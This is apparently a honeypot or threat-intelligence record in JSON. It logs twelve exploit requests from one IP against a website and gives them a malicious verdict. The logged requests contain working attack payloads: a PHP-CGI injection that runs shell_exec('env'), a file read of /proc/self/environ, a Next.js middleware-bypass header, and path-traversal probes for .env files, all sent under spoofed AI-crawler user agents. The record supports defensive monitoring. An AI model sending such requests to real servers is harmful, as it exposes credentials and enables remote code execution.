{"ip":"172.71.172.227","observed":true,"total_events":12,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"6 exploit-path hits","confidence":"high","network_type":"CDN","why":["6 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 15,527 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"15,527 bytes sent","bytes_sent":15527,"session_seconds":6,"persistent":false},"basis":"first_contact"},"first_seen":"2026-10-14T11:01:53","last_seen":"2026-10-14T11:01:59","events_24h":0,"events_7d":12,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"DE","country_name":"Germany","region":"Hesse","city":"Frankfurt am Main","lat":50.1169,"lon":8.6837,"asn":13335,"org":"Cloudflare, Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as13335","label":"Cloudflare","category":"cdn","url":"https://www.peeringdb.com/asn/13335"},"cve_matches":[{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","kev_date_added":null}],"malware":[],"udp":null,"interaction":null,"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":12}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1312h2_a44d0ee8b3cc_e381dae6da6b"],"tls_client_hello":"1603010200010001fc0303f2748f9a2371f66580ce35145412d3d1f9625805b1e910ae4b5f5e665ba9cfb3203dc7a9073f9039ffaa701cf05777952351c9cdcc90aeeda46b965bb0462c61f8001a130113021303c02bc02cc02fc030c013009c009d002f0035000a01000199000000160014000011736974652e7072696e636875622e636f6d00170000ff01000100000a0010000e001d00170018001911ec6399fe32000b00020100002300000010000e000c02683208687474702f312e31000d0018001609040403080404010503080505010806060102010603003300260024001d0020bd49d283b30943ab577d7807a82f961e0e7850ca1935c252a94b74c20b5aff6a002d00020101002b0009080304030303020301001500e90000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","tls_ja3":["67560f98d68783bd640246df3052c151"],"http_akin":["b11cun259_800c73ff_a0ccd1c4_x379753ab60b695539f8fce00d0f1dafedf99","b11cun148_80040017_b6ce16b9_x379753ab95539f8fce00d0f1dafedf99","b11cuq136_80050813_f44850b6_x379753ab95539f8fdafedf99"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13d1312h2_a44d0ee8b3cc_e381dae6da6b":265,"b11cun259_800c73ff_a0ccd1c4_x379753ab60b695539f8fce00d0f1dafedf99":20,"b11cun148_80040017_b6ce16b9_x379753ab95539f8fce00d0f1dafedf99":157,"b11cuq136_80050813_f44850b6_x379753ab95539f8fdafedf99":41},"akin_families":{"b11cun148_80040017_b6ce16b9_x379753ab95539f8fce00d0f1dafedf99":{"head":"b11cun148_80040017_b6ce16b9_x379753ab95539f8fce00d0f1dafedf99","shapes":3,"ips":157},"b11cuq136_80050813_f44850b6_x379753ab95539f8fdafedf99":{"head":"b11cuq136_80050813_f44850b6_x379753ab95539f8fdafedf99","shapes":6,"ips":41}},"user_agents":["Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-AdsBot/1.0; +https://openai.com/adsbot","Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","Mozilla/5.0 (compatible; Meta-ExternalFetcher/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)","Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)","Mozilla/5.0 (compatible; Meta-WebIndexer/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36"],"timeline":[{"date":"2026-10-14","count":12}],"recent_events":[{"timestamp":"2026-10-14T11:01:59","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.90.255.204\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a616d94c01d380-FRA\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)\",\"x-forwarded-for\":\"34.90.255.204\",\"x-forwarded-proto\":\"https\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068703f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a782d666f727761726465642d666f723a2033342e39302e3235352e3230340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204272617665626f742f312e303b202b68747470733a2f2f62726176652e636f6d2f7365617263682f290d0a636f6e74656e742d747970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613461363136643934633031643338302d4652410d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e39302e3235352e3230340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2036340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)","ja3":"67560f98d68783bd640246df3052c151","session":"e6549a7b-b2d4-48aa-8a93-50b80d30c7cd","seq":2,"duration_ms":6175,"bytes_in":1224,"bytes_out":158},{"timestamp":"2026-10-14T11:01:57","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.90.255.204\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a616cbaa54d380-FRA\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"34\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)\",\"x-forwarded-for\":\"34.90.255.204\",\"x-forwarded-proto\":\"https\"}","body":"{\"file_path\":\"/proc/self/environ\"}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/read-document","summary":"","payload_hex":"504f5354202f726561642d646f63756d656e7420485454502f312e310d0a782d666f727761726465642d666f723a2033342e39302e3235352e3230340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c617564652d557365722f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613461363136636261613534643338302d4652410d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e39302e3235352e3230340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2033340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b2266696c655f70617468223a222f70726f632f73656c662f656e7669726f6e227d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)","ja3":"67560f98d68783bd640246df3052c151","session":"64ecd6cd-bd77-4f00-a139-fbce6de4fa3e","seq":2,"duration_ms":3998,"bytes_in":1124,"bytes_out":158},{"timestamp":"2026-10-14T11:01:56","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.90.255.204\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a616c5cdbcd380-FRA\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)\",\"x-forwarded-for\":\"34.90.255.204\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/%2Fadmin","summary":"","payload_hex":"474554202f25324661646d696e20485454502f312e310d0a782d666f727761726465642d666f723a2033342e39302e3235352e3230340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c617564652d536561726368426f742f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a782d6e6578746a732d646174613a20310d0a63662d7261793a20613461363136633563646263643338302d4652410d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e39302e3235352e3230340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)","ja3":"67560f98d68783bd640246df3052c151","session":"84f88996-2913-41bd-8865-d0d78ea124d2","seq":2,"duration_ms":3060,"bytes_in":1301,"bytes_out":158},{"timestamp":"2026-10-14T11:01:55","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.90.255.204\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a616befdc5d380-FRA\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)\",\"x-forwarded-for\":\"34.90.255.204\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.env.mail","summary":"","payload_hex":"474554202f2e656e762e6d61696c20485454502f312e310d0a782d666f727761726465642d666f723a2033342e39302e3235352e3230340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d69426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a782d6e6578746a732d646174613a20310d0a63662d7261793a20613461363136626566646335643338302d4652410d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e39302e3235352e3230340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"f7ba9e25-2214-48a8-869a-b8ab79df842f","seq":2,"duration_ms":1998,"bytes_in":1243,"bytes_out":158},{"timestamp":"2026-10-14T11:01:53","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.90.255.204\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a616b28a60d380-FRA\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)\",\"x-forwarded-for\":\"34.90.255.204\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/assets../.env","summary":"","payload_hex":"474554202f6173736574732e2e2f2e656e7620485454502f312e310d0a782d666f727761726465642d666f723a2033342e39302e3235352e3230340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a757365722d6167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3630352e312e313520284b48544d4c2c206c696b65204765636b6f292056657273696f6e2f31372e30205361666172692f3630352e312e313520284170706c65626f742f302e313b202b687474703a2f2f7777772e6170706c652e636f6d2f676f2f6170706c65626f74290d0a782d6e6578746a732d646174613a20310d0a63662d7261793a20613461363136623238613630643338302d4652410d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e39302e3235352e3230340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)","ja3":"67560f98d68783bd640246df3052c151","session":"ab4794fb-ba25-414d-ab97-f11db1aac32a","seq":3,"duration_ms":674,"bytes_in":2357,"bytes_out":237},{"timestamp":"2026-10-14T11:01:53","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.90.255.204\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a616b1af1fd380-FRA\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)\",\"x-forwarded-for\":\"34.90.255.204\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/3ew5egiqll673ccft9fh","summary":"","payload_hex":"474554202f33657735656769716c6c3637336363667439666820485454502f312e310d0a782d666f727761726465642d666f723a2033342e39302e3235352e3230340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6f6f6e73686f74426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a782d6e6578746a732d646174613a20310d0a63662d7261793a20613461363136623161663166643338302d4652410d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e39302e3235352e3230340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"ab4794fb-ba25-414d-ab97-f11db1aac32a","seq":2,"duration_ms":512,"bytes_in":1650,"bytes_out":158},{"timestamp":"2026-10-14T11:01:53","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.90.255.204\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a616b29a9ed380-FRA\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Meta-WebIndexer/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)\",\"x-forwarded-for\":\"34.90.255.204\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/public../.env","summary":"","payload_hex":"474554202f7075626c69632e2e2f2e656e7620485454502f312e310d0a782d666f727761726465642d666f723a2033342e39302e3235352e3230340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6574612d576562496e64657865722f312e303b202b68747470733a2f2f646576656c6f706572732e66616365626f6f6b2e636f6d2f646f63732f73686172696e672f7765626d6173746572732f637261776c6572290d0a782d6e6578746a732d646174613a20310d0a63662d7261793a20613461363136623239613965643338302d4652410d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e39302e3235352e3230340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; Meta-WebIndexer/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","ja3":"67560f98d68783bd640246df3052c151","session":"f7ba9e25-2214-48a8-869a-b8ab79df842f","seq":1,"duration_ms":115,"bytes_in":651,"bytes_out":79},{"timestamp":"2026-10-14T11:01:53","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.90.255.204\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a616b3ff97d380-FRA\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)\",\"x-forwarded-for\":\"34.90.255.204\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/....//....//....//..../.env","summary":"","payload_hex":"474554202f2e2e2e2e2f2f2e2e2e2e2f2f2e2e2e2e2f2f2e2e2e2e2f2e656e7620485454502f312e310d0a782d666f727761726465642d666f723a2033342e39302e3235352e3230340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20506572706c6578697479426f742f312e303b202b68747470733a2f2f706572706c65786974792e61692f706572706c6578697479626f74290d0a782d6e6578746a732d646174613a20310d0a63662d7261793a20613461363136623366663937643338302d4652410d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e39302e3235352e3230340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)","ja3":"67560f98d68783bd640246df3052c151","session":"ab4794fb-ba25-414d-ab97-f11db1aac32a","seq":4,"duration_ms":884,"bytes_in":3030,"bytes_out":316},{"timestamp":"2026-10-14T11:01:53","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\",\"accept-encoding\":\"gzip, br\",\"accept-language\":\"en-US,en;q=0.9\",\"cdn-loop\":\"cloudflare; loops=1; subreqs=1\",\"cf-connecting-ip\":\"34.90.255.204\",\"cf-ew-via\":\"15\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a616aebac0d36c-FRA\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"priority\":\"u=0, i\",\"sec-ch-ua\":\"\\\"Chromium\\\";v=\\\"153\\\", \\\"Brave\\\";v=\\\"153\\\", \\\"Not_A Brand\\\";v=\\\"8\\\"\",\"sec-ch-ua-mobile\":\"?0\",\"sec-ch-ua-platform\":\"\\\"Windows\\\"\",\"sec-fetch-dest\":\"document\",\"sec-fetch-mode\":\"navigate\",\"sec-fetch-site\":\"none\",\"sec-fetch-user\":\"?1\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36\",\"x-forwarded-for\":\"34.90.255.204\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e310d0a782d666f727761726465642d666f723a2033342e39302e3235352e3230340d0a782d6e6578746a732d646174613a20310d0a43462d45572d5669613a2031350d0a43444e2d4c6f6f703a20636c6f7564666c6172653b206c6f6f70733d313b20737562726571733d310d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a757067726164652d696e7365637572652d72657175657374733a20310d0a63662d7261793a20613461363136616562616330643336632d4652410d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f617669662c696d6167652f776562702c2a2f2a3b713d302e380d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3135332e302e302e30205361666172692f3533372e33360d0a43462d436f6e6e656374696e672d49503a2033342e39302e3235352e3230340d0a7365632d66657463682d757365723a203f310d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a7072696f726974793a20753d302c20690d0a7365632d63682d75613a20224368726f6d69756d223b763d22313533222c20224272617665223b763d22313533222c20224e6f745f41204272616e64223b763d2238220d0